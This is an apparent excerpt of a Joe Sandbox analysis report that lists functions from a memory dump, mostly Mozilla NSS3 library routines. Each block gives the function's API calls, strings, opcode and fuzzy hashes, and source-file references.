Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: b7813719365abc63f425a3f47c0ec72d0c36295096589bef6cdb1b9c242a51b5
Instruction ID: 2216944887aaf8e279d0c00604ff97df56c5b1d22d32dbfa8b333b44e45c73a0
Opcode Fuzzy Hash: b7813719365abc63f425a3f47c0ec72d0c36295096589bef6cdb1b9c242a51b5
Instruction Fuzzy Hash: CF315EB5A002089FD750CF1ED884B96B7F8AF5535CF248469E94CCBB01E772E944CBA6

Function 6C632E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C62E728,?,00000038,?,?,00000000), ref: 6C632E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C632E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C632E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C632E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C632E9E
PR_Unlock.NSS3(?), ref: 6C632EAB
PR_Unlock.NSS3(?), ref: 6C632F0D

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: e48c6c869116875f4cb608f6e1ec2d35e3b97dc16078f316a9109168324ad8ff
Instruction ID: 6958e391669d79611fa0f79263f1e6d5273a342a69a7f26178365479e5549ad1
Opcode Fuzzy Hash: e48c6c869116875f4cb608f6e1ec2d35e3b97dc16078f316a9109168324ad8ff
Instruction Fuzzy Hash: 8531F675A00215ABEB006F28DC458B6B775FF46359B049174EC0CC7A12EB31DD64CBE5

Function 6C651EA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,S&el,6C636295,?,00000000,?,00000001,S&el,?), ref: 6C651ECB

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

TlsGetValue.KERNEL32(?,00000001,?,S&el,6C636295,?,00000000,?,00000001,S&el,?), ref: 6C651EF1
EnterCriticalSection.KERNEL32(?), ref: 6C651F01
PR_SetError.NSS3(00000000,00000000), ref: 6C651F39

Part of subcall function 6C65FE20: TlsGetValue.KERNEL32(6C635ADC,?,00000000,00000001,?,?,00000000,?,6C62BA55,?,?), ref: 6C65FE4B
Part of subcall function 6C65FE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C65FE5F

PR_Unlock.NSS3(?), ref: 6C651F67

Strings

S&el, xrefs: 6C651EA0

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID: S&el
API String ID: 704537481-2561865619
Opcode ID: 12f48715bea9d1be50078cb5b595bba8d377166ffbaec38f691ec2e5fa74be53
Instruction ID: 59e5ae36097477f64d73c43a9d691ed57f5e542d5b43cfd124166d7d0294a49d
Opcode Fuzzy Hash: 12f48715bea9d1be50078cb5b595bba8d377166ffbaec38f691ec2e5fa74be53
Instruction Fuzzy Hash: E5213A75A00204ABDB009E29DC44E9A37A9EF42368FA44164FD0897711E731D964C7E9

Function 6C67CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C67CD93,?), ref: 6C67CEEE

Part of subcall function 6C6714C0: TlsGetValue.KERNEL32 ref: 6C6714E0
Part of subcall function 6C6714C0: EnterCriticalSection.KERNEL32 ref: 6C6714F5
Part of subcall function 6C6714C0: PR_Unlock.NSS3 ref: 6C67150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C67CD93,?), ref: 6C67CEFC

Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C6710F3
Part of subcall function 6C6710C0: EnterCriticalSection.KERNEL32(?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67110C
Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671141
Part of subcall function 6C6710C0: PR_Unlock.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671182
Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C67CD93,?), ref: 6C67CF0B

Part of subcall function 6C670840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6708B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C67CD93,?), ref: 6C67CF1D

Part of subcall function 6C66FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C668D2D,?,00000000,?), ref: 6C66FB85
Part of subcall function 6C66FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C66FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C67CD93,?), ref: 6C67CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C67CD93,?), ref: 6C67CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C67CD93,?,?,?,?,?,?,?,?,?,?,?,6C67CD93,?), ref: 6C67CF78

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: aeb18fa033511198c10abd01d6aa6544c3600fe289edd55fcdc82cddb9e00f0b
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: EC11EBB1E0020467E720AE767C51BAB75EC9F4564DF00493AEC0AD7741FB64D90886BA

Function 6C628C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C628C1B
EnterCriticalSection.KERNEL32 ref: 6C628C34
PL_ArenaAllocate.NSS3 ref: 6C628C65
PR_Unlock.NSS3 ref: 6C628C9C
PR_Unlock.NSS3 ref: 6C628CB6

Part of subcall function 6C6BDD70: TlsGetValue.KERNEL32 ref: 6C6BDD8C
Part of subcall function 6C6BDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6BDDB4

Strings

KRAM, xrefs: 6C628C8F

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: c5937a40ce0bac39b8484d356bf00d123de4bd2a1e342b00beb9edeaaff5e23b
Instruction ID: bc74ee15c490f661aa8999001245b3bbfcacfccd821ca6d170691097ce5c1c23
Opcode Fuzzy Hash: c5937a40ce0bac39b8484d356bf00d123de4bd2a1e342b00beb9edeaaff5e23b
Instruction Fuzzy Hash: 632160B26056118FD700AF79C884569FBF4FF49308F05896ED8888B751DB39D885CF9A

Function 6C638E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C652E62,?,?,?,?,?,?,?,00000000,?,?,?,6C624F1C), ref: 6C638EA2

Part of subcall function 6C65F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C65F854
Part of subcall function 6C65F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C65F868
Part of subcall function 6C65F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C65F882
Part of subcall function 6C65F820: free.MOZGLUE(04C483FF,?,?), ref: 6C65F889
Part of subcall function 6C65F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C65F8A4
Part of subcall function 6C65F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C65F8AB
Part of subcall function 6C65F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C65F8C9
Part of subcall function 6C65F820: free.MOZGLUE(280F10EC,?,?), ref: 6C65F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C652E62,?,?,?,?,?,?,?,00000000,?,?,?,6C624F1C), ref: 6C638EC3
TlsGetValue.KERNEL32(?,?,?,6C652E62,?,?,?,?,?,?,?,00000000,?,?,?,6C624F1C), ref: 6C638EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C652E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C638EF1
PR_Unlock.NSS3 ref: 6C638F20

Strings

b.el, xrefs: 6C638E96, 6C638F25

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.el
API String ID: 1978757487-3728095727
Opcode ID: 3aa57c83f52abcfed692b01d297a6a0157a4e599c32d74a8bbbd09ef129d98d6
Instruction ID: 3c6757b9917be094f3bfc5009d321065d213e57d26bfd272870fc59609c59c67
Opcode Fuzzy Hash: 3aa57c83f52abcfed692b01d297a6a0157a4e599c32d74a8bbbd09ef129d98d6
Instruction Fuzzy Hash: B4216B709097259BCB00AF29C5841A9BBF0FF49358F41656FE898DBB50DB30E854CBDA

Function 6C6A3E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6C6A5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6A5B56

PR_EnterMonitor.NSS3(?), ref: 6C6A3E45

Part of subcall function 6C6D9090: TlsGetValue.KERNEL32 ref: 6C6D90AB
Part of subcall function 6C6D9090: TlsGetValue.KERNEL32 ref: 6C6D90C9
Part of subcall function 6C6D9090: EnterCriticalSection.KERNEL32 ref: 6C6D90E5
Part of subcall function 6C6D9090: TlsGetValue.KERNEL32 ref: 6C6D9116
Part of subcall function 6C6D9090: LeaveCriticalSection.KERNEL32 ref: 6C6D913F

PR_EnterMonitor.NSS3(?), ref: 6C6A3E5C
PR_EnterMonitor.NSS3(?), ref: 6C6A3E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C6A3EA6

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

PR_ExitMonitor.NSS3(?), ref: 6C6A3EC0
PR_ExitMonitor.NSS3(?), ref: 6C6A3ED7
PR_ExitMonitor.NSS3(?), ref: 6C6A3EEE

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: b61284e133fd8084abc148dde181bccfbc3067f99d91095ed8c3c305445a3fa8
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: C311A575510600ABDB319E69FC02BC7B7A1AF4230CF044835E65A86A21E632FD2BC75E

Function 6C722C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C722CA0
PR_ExitMonitor.NSS3 ref: 6C722CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C722CD1
strdup.MOZGLUE(?), ref: 6C722CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C722D27

Strings

Loaded library %s (static lib), xrefs: 6C722D22

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: b3eee13bb6f32b1fece0a3f20ac10b3fecaead4acbe03e3ffdd1e79666855b39
Instruction ID: d76ceee4c4fb24b6e0fdb5cf8429b95d0541be22fa4478f33e58b35a0c0616dc
Opcode Fuzzy Hash: b3eee13bb6f32b1fece0a3f20ac10b3fecaead4acbe03e3ffdd1e79666855b39
Instruction Fuzzy Hash: 2F1131B07102149FEB018F15DA29A6637B4EB4632DF14803DE809C7B41EB35E848CBB1

Function 6C61BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C61BDCA

Part of subcall function 6C670FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6187ED,00000800,6C60EF74,00000000), ref: 6C671000
Part of subcall function 6C670FF0: PR_NewLock.NSS3(?,00000800,6C60EF74,00000000), ref: 6C671016
Part of subcall function 6C670FF0: PL_InitArenaPool.NSS3(00000000,security,6C6187ED,00000008,?,00000800,6C60EF74,00000000), ref: 6C67102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C61BDDB

Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C6710F3
Part of subcall function 6C6710C0: EnterCriticalSection.KERNEL32(?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67110C
Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671141
Part of subcall function 6C6710C0: PR_Unlock.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671182
Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C61BDEC

Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6C61BE03

Part of subcall function 6C66FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C668D2D,?,00000000,?), ref: 6C66FB85
Part of subcall function 6C66FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C66FBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C61BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C61BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C61BE3B

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: 342c7c8f2b4f05e076d05f520268f665c55c6f9e9818115b1c54d269c2b13a5a
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: F4012BE5A4420176F610166A6C01F9725484FD23CEF140131FE09D6F82FB61E11A83BE

Function 6C670FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6187ED,00000800,6C60EF74,00000000), ref: 6C671000
PR_NewLock.NSS3(?,00000800,6C60EF74,00000000), ref: 6C671016

Part of subcall function 6C6D98D0: calloc.MOZGLUE(00000001,00000084,6C600936,00000001,?,6C60102C), ref: 6C6D98E5

PL_InitArenaPool.NSS3(00000000,security,6C6187ED,00000008,?,00000800,6C60EF74,00000000), ref: 6C67102B
TlsGetValue.KERNEL32(00000000,?,?,6C6187ED,00000800,6C60EF74,00000000), ref: 6C671044
free.MOZGLUE(00000000,?,00000800,6C60EF74,00000000), ref: 6C671064

Strings

security, xrefs: 6C671025

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 10b3a1b0a82a33d398b77841aee276dcae814b86ff7c1e4b4b5529e728441f5a
Instruction ID: 8a401f982004269fe6ab42ceba90f4bec79663b2a4d841aee8a2ccac9608e304
Opcode Fuzzy Hash: 10b3a1b0a82a33d398b77841aee276dcae814b86ff7c1e4b4b5529e728441f5a
Instruction Fuzzy Hash: 4C0148306402509BEB302F3D8C0CA963A78BF43749F01092BE80CA6A52EF60C144DBF9

Function 6C6A1C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6A1C74

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

DeleteCriticalSection.KERNEL32(?), ref: 6C6A1C92
free.MOZGLUE(?), ref: 6C6A1C99
DeleteCriticalSection.KERNEL32(?), ref: 6C6A1CCB
free.MOZGLUE(?), ref: 6C6A1CD2

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: 5829d97bd36d80768d00a40f61f65284ece7a6ccac540d63ad3f74ce1c958d7e
Instruction ID: 30ad66eb97139b47c2c27aa055ff6c0252501e4d5e31aaf8c1583ba5d76de678
Opcode Fuzzy Hash: 5829d97bd36d80768d00a40f61f65284ece7a6ccac540d63ad3f74ce1c958d7e
Instruction Fuzzy Hash: B401DEB1F05734EFEE21AFE49C0DB9937B8AB07309F100035E91BA2A40E734E51587A9

Function 6C6B2E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6B3046

Part of subcall function 6C69EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C69EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C687FFB), ref: 6C6B312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6B3154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6B2E8B

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

Part of subcall function 6C69F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C689BFF,?,00000000,00000000), ref: 6C69F134

memcpy.VCRUNTIME140(8B3C75C0,?,6C687FFA), ref: 6C6B2EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B317B

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: e3e7b26f9a2da979b488b8004004e447a117ce84bd38392abba6319b987a9228
Instruction ID: f062803c9284058ce379f953f45796782cc4c51e69d587e34f6b1c423464298d
Opcode Fuzzy Hash: e3e7b26f9a2da979b488b8004004e447a117ce84bd38392abba6319b987a9228
Instruction Fuzzy Hash: 1AA1BE71A002189FDB24CF54CC84BEAB7B5EF49308F048199ED4967741E731AE95CFA5

Function 6C67ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C67ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C67EDCE

Part of subcall function 6C670BE0: malloc.MOZGLUE(6C668D2D,?,00000000,?), ref: 6C670BF8
Part of subcall function 6C670BE0: TlsGetValue.KERNEL32(6C668D2D,?,00000000,?), ref: 6C670C15

free.MOZGLUE(00000000,?,?,?,?,6C67B04F), ref: 6C67EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C67EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C67EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C67EEFB

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

